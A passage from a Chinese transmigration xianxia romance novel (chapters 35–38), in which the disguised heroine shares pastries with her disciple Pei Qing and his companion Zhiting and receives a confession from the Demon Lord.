“不用躲着藏着,我也是来这偷些吃食的。”柳今初在指尖化出灵气,轻挥指尖便让那灭了的油灯重新燃起。 她本想直接让整个厨司处亮堂起来,好让她寻自己喜欢的吃食,可既然是遇到了一个伴,她便起了同他一起玩闹的兴致。 抬起一只手点了点他的唇角,没有触到他的皮肤。 油灯的暖光映照在她白皙的小臂上,十分柔和,她的声音也好似如暖光一般温柔,“这里有酥皮渣,怎么样,这个好吃么?你有没有留一个给我?” 林谦见是她,扑通鼓动的心渐渐平缓下来,有些不好意思地用手背草草擦去了唇角的酥皮渣,点点头应道,“味道不错,我只吃了这一个。” 他发觉自从自己主动辞师下山后,那些积攒在体内的灵气他便不知如何将它们留存积攒在体内了,明明他那般刻苦学了几月,却还是在离开宗门不看秘卷后眼睁睁看着自己的灵气日益耗尽,直至重新变成现在这幅模样,只是一个普通得不能再普通的百姓。 柳今初也没和他客气,施了除尘术就空手拿起一块单笼金乳酥放到唇边咬了一口。 入口便是浓郁的奶香,舌尖还能尝出些桂花蜜的甜味,口感酥松绵密,酥点入口便在唇齿间化开。 味道不错,可她并不是很喜甜食,又咬一口后便想将它放回到了空着的银盘里。 不过裴卿应是喜欢的,他嗜甜,可又不喜欢太甜的,颇爱清甜的糕点酥饼,不过对于醇甜的柿饼却是例外。 这一点原著里提过不少次,柳今初都能倒背如流了。 不过想到此,她倒是忆起了男女主共吃糕点的情节,芷汀亲手做了透花糍给裴卿,两人在月下谈心时将那盒糕点吃完。 可这段情节可是发生在裴卿元婴初期的时候,若是看现在,那今日便是最佳时日了。 明月高悬无云夜空,是浓墨的夜里唯一的皎白,今 夜没有星唯独只有一轮空月,太过萧索凄美了。 柳今初找来一盘切好的红羊枝杖,又翻找出一双筷子,不过这里的人倒是多叫它作“箸”。 柳今初简单寻了些自己喜欢的吃食满足自己的口欲,便叮嘱还在慢慢享用晚膳林谦莫要忘了做些后事免得侯府下人明日见了以为侯府进了贼。 待她离开了厨司处夜已经更深了,四周安静极了,她能听见落叶因夜风吹拂而刮蹭地面的声音。 柳今初独自一人走在阁殿廊道交错串联的道上,她不觉得害怕,她不怕夜的黑,不过她怕冷,夜里有风她穿的又是下人穿的衣裳,单薄得很,不过用了灵气便会好许多。 这样将脑中那些毫无关联的念头想法肆意抛出,她便觉得轻快许多,近日她受到的惊吓可不少,今夜后她要做的事当然也没有少半件。 她好想回宗门,做回那个整日只须看画本吃鲜膳的师尊。 想到这里她颠了颠手中的食盒,里面装着各式糕点,透过食盒散发着清淡的甜香。 她走着走着便来到了裴卿的屋前,那里亮起来烛火,他还未入眠,柳今初又看向另外一间屋子,同样亮着,窗影下还是一个挺直了背的纤瘦身影,芷汀还在打坐。 柳今初脚步顿了顿,要走去裴卿的门前却见那坐着的身影站了起来。 于是她便改变了方向,将食盒收入储物空间中后几步走到芷汀的门前,先叩响了她的门。 少女似是早就察觉到了,很快开了门,见到站在夜色中白皙如月光的柳今初,扬起笑,“季安,这么晚了还来看我,快些进来,不过我没受什么伤你不必担心。” 芷汀在见到柳今初的第一眼便拉上了她的手,将她拉入屋内,似是还怕她担心自己,又补道,“我现在已经好多了,你呢,可有受伤?我与你分开许久,进入幻境后便昏迷了。” 柳今初很是惊讶,芷汀是符修,是破解幻境最为轻松的修者,怎会昏迷? 似是看出来柳今初的不解,芷汀浅浅一笑开口道:“这幻境不简单,我一进去便察觉到了有浓厚的魔族气息,它似是发现了我,赶在我化为原身前动了手。” 柳今初注意到她额角处的小块淤青,似是想到了什么,直直看向她,“当真没事么?若是我能帮上你,你便同我说就好。” 不是好似是今夜,而是就是今夜。 此刻月正圆,他们应该在一起,诉说彼此心中之事。 一切似乎都在轨迹之外,她不知到底是何时变的。 柳今初垂眸压下心底要溢出的忧虑,这次变故就好似一道指尖处的破口,鲜红的血珠慢慢溢出,刺痛敢很弱,可当她注意到这破了口的地方,哪怕不是很疼,她心中那不存在的隐痛也替她感受到了更深的疼是怎样的。 她不知要怎么办了,她也不敢细想先前自己隐隐约约发觉的不对,柳今初不知要如何将这些想法拉开。 她不想让它们纠缠在一起。 包括她和裴卿一样,明明他们的联系薄如蝉翼。 35. 第三十五章 芷汀心思细腻,看出来柳今初的不对之处,伸出双手将她的一只手握起,轻声开口,“季安,你这是有心事吗?” 柳今初回她一个轻柔的笑,她想尊重芷汀的所作所为,包括这个世界所有的人。 哪怕只是一草一木,她也不会妄自干扰,那不是她会做的。 “无妨,只是替你感到惊险罢了,我虽没被它袭击,可这样厉害的芷汀都受了伤,我怎能想不到它的危险?”柳今初冲她一笑,抬手一挥,一个温热的食盒便出现在了桌上。 “受了伤可是很苦的,不过吃些甜的就会好许多。”柳今初说着将食盒打开推向她,糕点的甜萦绕鼻尖。 先前她只是觉得让裴卿感受到甜就够了,毕竟能直接影响她生死的人除了裴卿就是只有代号而无姓名的反派了。 可现在柳今初不这么想了,她竟天真地希望每个人都能尝到甜。 离开芷汀的屋子后不久,柳今初便见芷汀熄了烛火,而裴卿的屋子还是亮着的。 她本来想也把带糕点给他的,毕竟她原先就装了两盒的糕点,就要给他和芷汀各一份的。 可走到门前了,她又抬不起手叩门了,手似是被压了什么重物,让她觉着抬手实在太过艰难。 站着盯看那木门片刻,柳今初还是妥协了,蹲下将食盒放在一旁的空地上,用灵气温存着它,将芷汀先前给她的留音符贴上,启唇要留话。 可身后却传来了一声沉闷的脚步声,柳今初听见了,随后淡淡的墨香混杂着木香的气息便传来了。 “为何不进去?” 柳今初不知他是何时起站在她身后的,她想得太入迷竟没有察觉到他的靠近。 见她身形一顿,随后慢慢起身转向他,裴卿看向她。 她面对着月,身上隐约有朦胧的月光,如梦似幻玲珑隐约,衬得她像极了月上的天仙,可他也见过天仙。 这或许算是第二次这样想。 “为何能进去她的屋子?走到这里了却是放下东西便离开。”他语气与平常并无不同,好似只是同她说些有的没的那些事一般。 柳今初看不清他的双眼,他额前的发长了,浅浅遮住双眉,他凤眸长睫本就让人看不清是什么情绪,眼下又背对着月,让他整个人都散着淡淡的沉郁气息。 “季安。”他唤了一声。 柳今初一时怔住没有应他。 她觉得他变了许多,今日让她觉得更为明显。 裴卿又走近几分,将她身上那层淡淡的月光遮去,柳今初能感受到他身上散发的寒意。 已经快要入冬了,侯府里用来取暖的瑞炭是上等的,她站在屋外便有些瑟瑟发抖了,若不是有灵气,她可要快步回去倒座房里了。 柳今初看着他,总觉得他小时候的病根还是没除得完全,他应是怕冷的,这冷会让他感到深入骨般的疼的。 她眼神认真,先问了他的状况,“你冷不冷?先进去吧,有什么事等身子暖起来了再说。” 柳今初虽然觉得裴卿现在很是琢磨不透了,不是一串糖葫芦或一块甜腻的柿饼可以哄得说出心中想法的他了。 不过她现在倒是很信任他,裴卿说什么都不会再对自己起杀心就是了,当然这只是对季安,可不是对真的她。 两人一前一后进了屋,裴卿踏入屋子后便来到风炉前,指尖凝聚湖蓝的灵气,轻挥一下,那风炉里青黑的瑞炭便发出了温热的暖光,没有烈烈的火焰,不过可比火要暖热多了。 “你靠着瑞炭取暖时注意些,它可烫了又见不着火。”柳今初先前就注意到了这瑞炭的不同之处,她一开始还以为瑞炭同木炭差不对,可见过后才知瑞炭品质要好上许多。 裴卿应了一声,声音闷闷的,不知是方才受了凉还是这屋子暖了起来,空气少许多。 见他没了下文,柳今初正想拿出食盒给他,手下却是一空,她左右看了看,只见着了空空的地板。 她方才走得急,还走在裴卿前面,将食盒落在屋外了。 柳今初轻碰了一下自己的脑袋,面上浮现懊悔之色,抿了抿唇轻声开口,“我忘了把食盒拿进来了,你坐在这等我一会儿便好。” 说完她便起身,衣摆却传来了轻微的拉扯感,她下意识回头,长发扬起轻微的弧度,带起一阵温暖的风,有淡淡的花香随之而散。 裴卿指尖拉着她的衣袖,力道不重却足够让柳今初注意到。 青年仍是坐着,不过站起身的柳今初没比他高出许多,他只要稍稍仰起头便能将她的身影尽收眼底。 “不必了,方才我将它拿进来了。”青年声音轻哑,有些许还未褪去的少年音色,给人竹响那般清雅的感觉。 柳今初暗自咬着唇想忍下唇边的笑,眨了下眼点头顺着他的力道又重新坐下。 柳今初虽觉得他这样默不作声的把这些小事看在眼里很可爱,单还是有些不解,不解他这么要等她发觉了才说,有些迟钝了。 这样可不好,若是遇到了什么危险也这样迟钝怎么行。不过她细细回想一番,裴卿似是也没掉过链子,他对付妖兽很是杀伐果断,能一剑解决绝不留它第二剑。 这番做派颇有些肆意果决的气派,很是有那江湖意气在。 “为何要等我起身了才叫住我?你方才是不是想着作弄我,但后面良心发现又叫住了我?”柳今初将食盒拉过来,打开盖子又推到他面前。 裴卿没看着那糕点,凤眸微敛,耳尖透着薄红,可就是毫不避开地正脸看着柳今初,似是觉得自己这般做却是能被说成有捉弄人的心思。 可他没有,裴卿顿了一下,薄唇开合,“并非如此,恕我疏忽了。” 他还是端坐着,背脊如松木笔直,长发束起规矩摆在身后。 “行了,你也不必当真就是了,快看看有没有你喜欢吃的。”柳今初看着他骨节分明又修长的手缓缓道。 她本是要继续说下去的,不过见他的手还拉着自己的袖摆便将话咽回去,而是不作声地抬起那只手。 感受到手尖处传来的轻微力道,裴卿似也察觉到了,似是碰到了火一般松开了手,要开口说什么却被柳今初打断。 “我不在意这些,你也别总是对我说那些’多有冒犯’的话了。还有,这些糕点多是我尝过觉得很是不错的,再怎么样你今日也要赏脸尝一下好吗?” 柳今初 在同他说清一切后便不在那般拘束了,虽说她最近觉着裴卿对她,或是说对师尊身份的她有些怪,可她并不厌烦,总之她没看出什么杀意来,那便能稍稍放下心来。 而现在她又是季安,放开了自己同他相处很是不错。 裴卿顺了她的意,拾起一块烤得金黄的糕点,色泽极好,淡黄的酥皮上有些黑芝麻点缀,看着便让人垂涎欲滴。 柳今初见他咬下一口,很是期待他会怎么说。 不过她更想知道的还有她做的柿饼,除了同他用玉佩联系的那次她就没见过裴卿吃柿饼。 莫不是觉得不好吃就不再拿出来了,还是分了些给芷汀。 她留给裴卿的柿饼不多,几天便能吃完,加上裴卿偏向辟谷多些,那不吃也是正常的。 “味道如何?”柳今初问。 “很好。”裴卿答得简明。 他觉得手中的糕点甜味不多,是甜咸口的,若是换成师尊,她定会喜欢。 裴卿浅尝辄止,他记住味道很容易,出了唇齿上的味道,就是可以嗅闻到的味道了。 方才她的发有轻淡的花香,很像栀子花的味道。 可他却是觉得今夜自己不再对味道很是敏觉了,他不知是不是自己在欺骗自己,还是记忆中的栀子花香太过深刻了,深到他竟能想着就嗅闻出来。 “你喜欢便好。既然尝了这样味美的糕点,可能回答我一些疑惑?” 柳今初来找他不单单是给他送些吃食而已,她想知道裴卿对林谦想法。 她也知道这里许多人都觊觎裴卿体内的渡仙剑剑魂,魔族则是最为猖狂的一个,裴卿一路上遇到了许多异常变动都与魔族有着千丝万缕的关系。 可她见了魔主却觉得他的形象与她所想的很是不同,出入极大。 魔主似乎不是很关心裴卿体内的剑魂,还能答应她放他安全离开。 “你可是觉得今日我们救下的孩子与魔族有关系?”未等他应答,柳今初倒先是说了,“毕竟他身上的魔族气息可要浓得多,比我身上的还多。” “你知我能看得出魔族气息。”裴卿没有急着应她的问,而是将更深的源头说了出来。 仙界之人都知,那忽地出现的魔族气息难以察觉,因此寻它便要上心许多。 那气息宛若游龙,时而在云端显现,时而又化作脚边杂草,让人下意识便忽视了。 它显得快散得也快,浓浅交错,犹如鬼魅。 柳今初没有否认也未直接肯定,而是道,“猜的,这样看来我还是有些本事的。” 自然不是真的猜到的,她从一开始就知他对魔族气息尤为警觉了,能寻出所有蛛丝马迹。 “我先前确是觉得他,危险。”裴卿说着,斟酌了片刻又淡声道。 “那你先前也是觉得我会伤了你们?”柳今初顺着话继续道。 眼前的女子神情悠闲,一只手撑着脸歪着头看他,长发披落在肩头,烛火为它镀上光点,也为她的眼点上彩光,像琉璃那样透亮。 裴卿移开目光,心中的朦胧化作影影绰绰的影子,他能感受到心的鼓动,与那摇曳的影子重叠,他轻声应,“未从。” 36. 第三十六章 柳今初本是开玩笑的,她自然是知道他已经不那么想了,只是她不知他是何时起便开始信任她的。 不过已经很晚了,柳今初觉得在待下去会扰了他休息,便问出了真正想问的事。 “裴卿,你对魔族气息那般熟悉,可是曾去过魔界?”柳今初小心翼翼开口,她心里自是希望不是的。 毕竟谁会希望一个日后对自己大打出手的人与一个对她视而不见的人早早有交集呢。 不过在此之前,她便觉得魔主是有着代号的反派了,那时见他,他与她说了许多话却只字不提自己的姓名,而她也没从原主记忆中寻出什么能和魔主有关系的名字。 这番想法冒出头,柳今初便觉得浑身冒着冷汗,连上好的瑞炭也不管用了。 好在裴卿与魔主见面时她也在,两人大打出手,没在商量要怎么将她处理掉。 可她也是很信任现在的裴卿的,她虽许久未用师尊的身份同他联系了,可近日与他相处下来,他好似也不像先前那般冷冰冰待人了。 只是有些时候他像块木头,不知道要如何接住别人给他的善意。 “未曾,我知那魔族气息只是因为他魔族想要我身上的东西罢了。”裴卿听完她的话淡声开口回答。 “怎么,是那魔族的执念太强了,强到竟让你都感受到了?”柳今初听了很是好奇,不禁坐近几分,靠着圆木桌眼中藏着好奇。 “魔族本就是欲念堆积而成的,世上所有人的执念和欲望,魔主都能感知。”他凤眸微敛似是在回想自己看过的书卷,“越是强烈的执念,魔主越是能察觉得到。” 柳今初不知道这些,不过她依稀记得原著有提过,等她来到这里,她就没看过什么正经的书,若是要说她认真看过什么书那就看过各式话本而已。 至于正在闭关修炼的另一部分灵识,她也没觉得自己有在好好看书,多是在运气入体。 裴卿这番话勾起了她想要了解魔族的想法,于是柳今初点点头看着他,在等他继续说下去。 与她相处久了,裴卿对她熟悉不少,或许说他早就同她相处过了,和她待得越久裴卿便觉得越是熟悉,心中的想法越是会在泥中长出根来。 “我能知魔主有对那件物品的觊觎之心,也是有代价的。”他停了一下,眸中晦暗之色愈发浓了。 温腾的暖在屋内无声翻涌,将人的手脚暖得温热起来,可他却觉得指尖处的血液凝住了,偏偏心里的血流得那样快,又是那样滚烫。 “什么代价?”柳今初开始有些担心他了,“你会受伤么?” 她已经在心里想出魔主每月要取他血液灵气这些离奇的事情了,那样交集可就太深了,万一两人某日发现要对付的人是同一个,那她还会等到仙魔劫到来么? 可这样想也不对,柳今初想制止自己忽然莫名其妙觉得裴卿将她看成原主的想法。她从收他为徒后就十分关心他了,何来原主那些冷漠一说。 青年像是想到了什么,忽地抬眼看她,长睫下的双眼宛若夜里没有被月照到的水洼,若是注意到了,它映出的月光便会照进你的眼里。 这时才发觉,不是月照不到水洼,而是没有人走进看,那自然是暗的了。 见他怔住就这样看着自己,柳今初便笃定了他要受皮肉之苦了,看来魔主也多少符合外界人所说的样子,或许就是邪恶的积聚,执念的凝聚。 人的欲念成了执念,就算是再纯真无暇的念想,浓到了极致,也会变成邪念的。 “那你要如何抗过来?他是魔主,你只是刚突破元婴初期的剑修。”柳今初不知要如何安慰他好,从小就是,他受过的苦太多了,她虽也是吃尽了世俗之苦,可她不曾亲眼目睹灭门之灾,不曾受过他经历的那些苦痛。 “你,很想知道么?”裴卿看着她,将她问出的话忽视,似是他也不想面对什么,或许那些代价于他而言就是苦不堪言的,难以诉说的。 柳今初点头,但她看出了他的迟疑。 似是觉得气氛有些僵了,柳今初又抵不住他不避的目光,轻声道,“你若不愿说那便不说,我又不是什么不依不饶的人,只是替你觉得这样的疼很是无理而已。” 无理也确是无理,可他也是罪恶本身,这份苦痛他甘愿咽下去,混着污泥的鲜血他都尝过了,再咽下苦痛又算什么呢。 裴卿抬手将发带解开,长发散落在他宽厚的肩头,“夜很深了。” 他停了停,觉得自己先解开了发带有些赶人的意思,又道,“你今日还去倒座房休息么?换去客栈吧,侯府附近的客栈我都买下了,银钱要的不多,这些便足够了。” 说完他手中已有一小袋装着些铜钱的承露囊。 柳今初拿了他递给她说承露囊离开了侯府,但她没立即去寻客栈,而是独自一人在夜里走了一会儿,此刻已经很晚了,月明得明显,夜色暗沉,月的光能落到地上,可却不能落在离它最近的夜空上。 这样漫无目的地绕着路走,让她的困意上涨许多,眼皮有些沉了,可她还不想就这样睡下去,她总觉得自己还没理清什么,忘了有什么要做。 后来柳今初不知过了多久,柳今初停在了客栈前。 等她在客栈住下睡意依然全无了,坐在床踏上,柳今初莫名在脑海中唤了一声“魔主”。 过了几秒,四周依然很安静,她耳边只有自己轻轻的呼吸声。 “算了。”柳今初叹了一口气,她没想着魔主会回应她。 不过这样也好,她总不能直接问他裴卿的事,而且她还不能笃定地说魔主会不会早就对自己有了杀心。 沉默看着房梁,柳今初决定不再想这些有的没的了,抬手挥袖将烛火灭了,她翻身将自己卷入被褥里,屈起双腿缩成一团。 这里好冷,没有瑞炭,可她又不想用灵气给自己取暖,那样好容易让她睡过去,她现在不敢睡。 她怕等她闭上眼后,就会坠入梦中,像上次那样。 她梦到了裴卿。 他在给她戴步摇,现在那样迷朦不真切的画面还依稀浮现在脑海里,和在魔界时的画面渐渐重合。 为何会这样,她不知他为什么执意要给她戴步摇。 从她带他去凡间过元宵那日起,步摇似乎就总时不时出现在她身边。 “不肯入眠?今初,你唤我是要我哄你入睡?” 一道带着笑意的男声在她背后响起,想夜里风中的树影,她注意到了便会惊觉发现这藏伏许久的光景。 柳今初坐起身,没有表现得很是惊讶,她心里也是那样下意识觉得他会出现的 。 而且她心里藏了许多事,想说的话有许多,可身边没有可以诉说的人。 不过她也不是什么都同别人说,对陌生之人似乎才能真真切切地吐露心声。 因为她知道这样诉说后他们便不会再见,她心结能解,也无什么负担。 “别这样说,你堂堂魔主这样对一名剑修说这样调侃的话,很是影响你威严的形象。” 柳今初自然知道他是同她说笑的,魔主看着面相很是凶恶,不过还是俊美的,就是说话时很随意,很喜欢说笑。 床头的烛灯忽地被点亮了,烛火晃动,照得人模糊不清,朦朦胧胧像是蒙上了一层薄纱。 这客栈的烛火品质最多算中下等,柳今初在心底暗自吐槽。 “你有心事。”魔主走进她,长发如旧批在身后,他一只手背在身后,一只手在身前拿着什么东西。 柳今初看不太清,他只点亮了一盏烛灯,这烛灯品质又不好,不过看得清那东西毛茸茸的,通体呈玉白色。 是玉兔么? 玉兔是月亮上的,魔主这样的人,多去魔界,而魔界本体在远东海域之下。 海下的夜空也有月,她那会在魔界时便恰逢圆月之夜。 “嗯。”柳今初没有否认,她方才便从裴卿口中得知了魔主是能窥看人的欲念执念的。 见她没有惊讶,魔主慢慢走进,这客栈的屋子的空间不大,他几步便来到了她的床榻边。 “寻我何事?”他将手中的白兔放下,动作很轻。 白兔很是活泼好动,方才安安静静待在手里,刚被放下便蹦跳着跃进柳今初的怀中,两只毛绒的小爪贴在一起,眨动着亮红的眼。 “你是不是找过我徒弟的麻烦?”柳今初见这白兔乖巧,忍不住一下一下抚摸它的脑袋,温温热热,白毛柔软。 不知他从哪寻来的,她回了宗门也要养一只。或许要两只,她怕这白兔没有伴,就像裴卿一样,若师兄师姐有事不在,她又没来寻他,那他便会一整日都是一个人了,孤零零的怪可怜的。 “你还真是惦念他。”魔主收起笑意,有些不悦。 柳今初将视线从白兔身上移开,看向男子,与他对视一眼,目光又不自觉看向他发间处的那对魔角,或许可以这么叫,她也不知除了叫“魔角”还能叫它什么了。 “他是我的亲传弟子,关心一下不是应有之事么?”柳今初回完又把话绕回来,“所以你有没有欺负他?” 柳今初看着他,见他扯开唇笑没有立即回答,有些不明所以。 “没有。还有别的事么?总不能只是问他的事而已吧。”魔主收起笑意后才继续道。 柳今初摇头又点头,方才她想了一会儿,觉得自己还是问不出口,便想着算了,暂时放一放说不定也不是坏事。 “你寻完我,到我寻你了。”他还是站着,垂下眼看着坐在床头温柔抚摸白兔的女子。 柳今初看他不语,等着他说下后面的话。 “我心悦于你,此事从许久之前便开始了。不过魔族出了些事,我便不能寻你,以为会就此错过。”他俯下身靠近她,呼吸温热。 “可你又出现了,我也还是心悦你。”他那双桃花眼微弯,唇边笑意显现,“今初,你意下如何?” 37. 第三十七章 “你……”柳今初抚摸白兔的手停住,看着男子带笑的双眼没有继续说下去,眼中满是茫然和困惑。 虽说她先前就察觉到原主和魔主的关系不一般了,可她没想到会是这样的,就好像她看的话本子一样。 不过话本子还是有些理在的,而他的话就不是这样了,句句在她设想之外。 “是不是吓到你了?”魔主将距离拉开一些,可柳今初仍是能感受到他似有若无的气息。 “你让我好好想想。”静默许久她只憋出这一句话,过了一会儿她见他笑意不减又不禁怀疑起来。 “你莫不是在骗我?你是堂堂魔主,我是元剑宗掌门人,我们怎能在一起?”柳今初心中疑惑更多,她倒是没有动心,纵使眼前的男子再怎么俊美,她也始终不是一见倾心的人,自然对他没有任何感觉。 这就让她开始怀疑了,柳今初只觉得他是别有用心,不是真心喜欢她,或者说不是真心喜欢原主。 魔主见她眨眼又抬手将怀中的白兔还给他,警惕的神情明显,笑意便收敛几分,视线不移仍看着她的眼。 “不要我,那连白兔也不要了?”他没有将白兔推开,顺势将它放在手心,声音低了几分,“你看不出我的真心么?” 他没再看她,转而轻柔地抚摸白兔柔软的脊背绒毛。 柳今初看着他的动作没有说话,她不知要如何回答他。 他们其实只有一面之缘,而她本身的性格与原主可谓是天差地别,柳今初不信魔主没有察觉自己的不对,只是她说不清为什么他会忽然说心悦自己。 除了要将她当作棋子下又还能有什么目的,若是寻欢也不该是她,她的身份特殊,可不是能寻欢的人。 况且,就算是要找她寻欢,她不仅不会答应,她还想找个机会狠狠治治他。 那样人为了寻欢就找女子说什么心悦你的。 还有,寻什么欢。 柳今初越想越是恼,干脆就将计就计,她也好奇魔主要用她这个身份做什么,“你先回去吧,此事我们后面再谈。” 柳今初看他一眼又看向在他手心里乖巧蜷在一起的白兔,毛发柔软珍白,柔顺泛着淡淡的光泽,抱在怀里温温热热的,很可爱。 注意到她的视线,魔主手指微动,将手中欲睡不睡的兔子挪了挪,“现在又想要它了?” 柳今初没有应,而是将它抱了回来,动作很轻,怕将它弄醒了。 魔她不喜欢,可兔是无辜的,她又喜欢,怎能说不要呢。 抱好兔子后,柳今初见它睡得安稳,才抬眼看身前的男子。 “是,我现在便走,愿今初能好好想我,若是也能心悦我,那是再好不过。”他面上已经没了张扬的笑,但语气还是那样轻浮。 柳今初睨他一眼没有说话,只是点头应下。 待屋内只有她一人后,柳今初施展灵气,将身上的魔族气息打散,顺带也将白兔身上那点气息也带走了。 见它睡得安稳,柳今初似也染上了困意,心也平静许多,将白兔揽在怀里,半盖着被褥露出怀中白兔半个头。 白兔毛发白润,她的发墨色浓黑,这样看着颇有些水墨画的素雅之美在。 这一觉柳今初睡得不算安稳,她又做梦了,只是这次的梦很碎,她也看不清什么,只觉得自己在茫茫大雾里走了许久。 这一路上她没遇见任何人,甚至是别的生灵,这充满白茫雾气的山路似乎只有她在走,连脚边的杂草都枯死,时不时遇见的小塘也长满高细的枯草,积满了死水。 连脚下润湿的泥土都仿若失去了生养生灵的能力,化作了无用的烂泥。 只是这里不冷,反而有些温热,就像靠在篝火旁一般。 可此处看着很是一方湿冷的死寂之地。 雾散了,她便醒了。 指尖微蜷,她迷朦的双眼眨了眨,视线清了许多,光线涌入眼中,今日是晴的。 坐起身后,柳今初才惊觉怀里的兔子不知跑哪去了。掀开被褥,她将长发盘起,随后开始在屋内寻觅白团子的身影。 这屋子不大,只有一张规整的床榻,此外就是一张小圆木桌和两张座椅了。 “能去哪了……”柳今初喃喃开口,她看得出那白兔不是一般的兔子,它是灵兽,只是还未化形。 在三界,灵兽并不罕见,凡间能看到,只是普通百姓看不出它们身携灵识。而仙界与魔界的灵兽就要明显许多,只要化了形,灵纹便会显现,灵兽便能如修仙修魔之人一样晋升,只是它们再如何晋升也不能化做人形,因此有许多修仙者将它们作为灵宠,先前好似还有买灵兽大的,只是后来有了变故,这种铺子便彻底关闭了。 柳今初记不清了,这些事她都只有些模糊的记忆,不过停留在认识对于她也足够了。 只是白兔是灵兽的话,她要寻起来就要困难得多,若是她现在的修为更高些,到了元婴后期,寻它便不是难事了,这虽不是难事,可她偏偏不能擅自这样做。 才抱了没多久的白兔就这样不见了,说起来她还是很伤心的,虽知它不是普通动物有自己的灵识,可柳今初很是喜欢这些毛茸茸的生灵亲近自己,若是没有那些关于生死的烦心事,她甘愿在自己的后山养一群兔子。 在屋内寻了好几遍后,柳今初便打算下楼了,打算先用早点再继续寻它。 可等她下了楼却见到了两位熟人。 柳今初还盘着发,她盘得随意,那时又急着找白兔,自然盘得凌乱,有几缕发丝半挂不挂,零零散散落在肩上。 那两人逆着光,才踏入客栈,站在门槛处。 可裴卿那高挑的身影和那束起的马尾实在好辨认,她虽看不清脸,但也能猜出是他。而他身旁的少女不用看便知是芷汀。 毕竟在原著里能与裴卿相处多日,同他一起出行的女子也只有三人了。 一是芷汀,二是他师姐宁明,最后就是他师尊柳今初了。 说起这个,柳今初便觉得头疼,可她又不得不面对裴卿。 于是乎她只能慢悠悠地下楼,走到了掌柜面前提了要些早点的要求,才走向已经坐下的两人跟前。 刚落座柳今初就注意到了几分熟悉的气息,她看了一眼两人,注意到一搓白色的细毛,定睛一看,那不是昨夜魔主给她的白兔是什么。 可怎么就跑到了裴卿怀里? 柳今初又想起魔主对她说的话。 不 要我,那连白兔也不要了? 又看看垂眸看着白兔的裴卿,有些说不上来的别扭感。 “季安,我和裴卿方才将府中的事处理妥当了。那魔族气息是侯府先前聘的一位乳娘留下的,同你会面后我们就要去寻她。”芷汀先将事说明了,给她倒了杯茶水,移了移位子向她挪近几分。 柳今初听了点头,她想也是,裴卿若是查清了魔族气息的根源便不会再多留,不过他似乎没说林谦的事。 听芷汀的话,林谦身上也带有魔族气息的事她不知,可裴卿怎么没告诉她,柳今初不解。 说起来裴卿可是对芷汀没有任何隐瞒的。 不过现在她也说不清了,两人的关系似乎在昨夜就彻底变了。 原著里,裴卿和芷汀在那夜坦明心中烦絮后关系便开始转变了,两人自此成为了彼此心中最重要的人。 可那夜一切都变了,芷汀在自己屋内打坐养伤,而原书并非如此,伤的反而是裴卿。 那芷汀还心悦裴卿么? 原书里裴卿是那夜动的情,而早在之前芷汀便心悦于他了,她没坦明只是藏在心底。 柳今初接下茶杯,轻啄一口觉得有些烫,口中涩苦的茶水漫开。 好苦。 柳今初皱眉,将茶杯拿远了一点。 随后启唇问,“裴卿,你怀里的是什么?毛茸茸的。” 她现在很需要一只毛茸茸的兔子安慰自己。 到底是这里茶水苦涩,还是她的心在发苦,她已经分不清了。 她算棒打鸳鸯么?如果是她会难受一辈子,不过她现在是能成仙的修仙者,那可要难受好几生好几世了。 “灵兽。”裴卿没有抬头仍是垂着眸,只抬起手将怀中的白兔抱到胸前,伸出修长的指节轻轻抚摸它圆圆的脑袋。 “裴卿,你是听不出季安也想摸摸吗?”芷汀遮唇浅笑,和平日一样扬着笑颜,桃花眼里的流光转动。 裴卿听了抚摸着白兔的手一顿,抬起眼终于将视线放在对座的人身上。 她盘着发,不过没盘好,似是动作很急,一眼看去让人觉得有些凌乱,可看清了却觉得这样随意的发式虽不庄重,可让人看了也能松开几分紧绷的心弦。 好像她,那般能给予他沉心与安定的模样。明明她只是那样静坐,时而反动手心上摊开的纸页,垂眸时而眨动那含光点点眼。 可那般平常的模样就是深深印在了他脑海深处,脆弱的灵识上,一颦一笑他都清晰地记得。 但他很久没能看见她了,她去了元剑地,只告知他要闭关修来了,却没告诉他自己能何时又见她。 裴卿用手点了一下啊将怀中白兔的脑袋,它便像是领悟了他的意思一样,一跃便到了柳今初的怀里。 柳今初看他一眼,将白兔稳稳接住。 指尖轻点它的鼻子,有些不甘,小声对它道,“怎么他的话你就听。” 白兔似是听懂了,撒娇似地用毛绒温热的脑袋蹭她的掌心,柳今初本就没有多气恼,最多算是有些忮忌裴卿而已,见它这样乖她也勾起唇来。 “你还真是会讨我欢心。”柳今初声音很轻,若是离她远些就听不清她在说些什么了。 38. 第三十八章 柳今初看他一眼没有说话,抬手拾起盘子上摆着的竹签,小心翼翼地将温热的糯米团挑起,生怕它被戳得面目全非,然后自己还得唤店小二上一双筷子给她。 她很喜欢这类软糯的糕点,因为有淡香的糯米皮内馅的甜才不明显,被冲淡许多,吃起来清爽,很是符合柳今初不爱吃甜的性子。 “先不说这个,填饱肚子在谈正事。”柳今初知道两人都辟谷了,此话也只是说着掩饰自己想尝遍世间味美吃食的想法而已。 两人听了也不觉什么,裴卿倾身靠近桌沿,也拾起竹签将一小团糯米糍戳起,动作慢条斯理也干净利落,一戳一咬一气呵成。 柳今初看着他将糯米糍咽下,有些怀疑他是不是骗她自己辟谷了。 不然吃糕点的动作怎么比她要熟念许多。 虽说她从书上看到过辟谷并非真的什么都不吃,一些品质极佳的灵果,药材什么的修仙者还是来者不拒的,辟谷辟的是五谷杂粮,米面什么的便是不吃的。 但糕点这类也算五谷杂粮的,可偏偏这糯米糍的内馅是胡桃红枣做的,要狡猾一些,说成干果辟谷便也能吃。 柳今初一番思考下来,觉得自己借此呛他一句也占不了风头,只能化怒火为咀嚼的力道了,口中的糯米的糯香在舌尖化开,让她心情好了许多。 “怎么样,这糯米糍味道好不好?是什么内馅的,我也想尝尝。”芷汀见裴卿吃了,自己虽也想吃可她不愿破戒,眼中怀着期待看向吃下糕点的两人。 “你当然能吃,胡桃红枣馅的,可不算破戒。”柳今初将盘子推向她,转而将另外一盘糕点拉进自己,虽没对着裴卿说但话外之意明显,“这盘是米锦,可没有什么奇奇怪怪的馅,只能我吃了。” 柳今初来到这里虽没看过什么仙界魔族往事,对修仙一类也一知半解,但识遍了仙界凡间的美味吃食,对此她对魔族的传统吃食也很是好奇。 可她这样的身份若是为了那些自己没尝过的吃食去了魔族,旁人怕不是会觉得是个幌子,去魔界做些见不得人的事才是目的。 一餐完,清晨也来到了辰时,三人出了客栈,一路步行来到了狭小的巷道口。 